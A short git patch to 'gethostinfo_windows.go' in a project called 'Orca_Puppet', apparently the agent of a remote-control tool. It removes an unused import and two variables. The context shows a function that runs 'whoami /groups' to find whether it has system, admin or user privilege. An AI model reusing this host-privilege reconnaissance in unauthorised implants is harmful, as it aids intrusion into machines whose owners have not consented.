From 5d12f46a2069326659ac28ca048233452d094ffe Mon Sep 17 00:00:00 2001 From: Ptkatz <112046443+Ptkatz@users.noreply.github.com> Date: Wed, 12 Oct 2022 15:51:01 +0800 Subject: [PATCH] Update gethostinfo_windows.go --- Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go | 4 ---- 1 file changed, 4 deletions(-) diff --git a/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go b/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go index e8e8acd..b68c81e 100644 --- a/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go +++ b/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go @@ -6,13 +6,9 @@ import ( "fmt" "os" "os/user" - "runtime" "strings" ) -var sysType = runtime.GOOS -var sysArch = runtime.GOARCH - // 获取当前执行身份 (user/admin/system) func GetExecPrivilege() string { ac, _ := shellopt.Cmd("(whoami /groups |findstr Mandatory|findstr System > nul && echo system)||(whoami /groups |findstr Mandatory|findstr High > nul && echo admin)||echo user")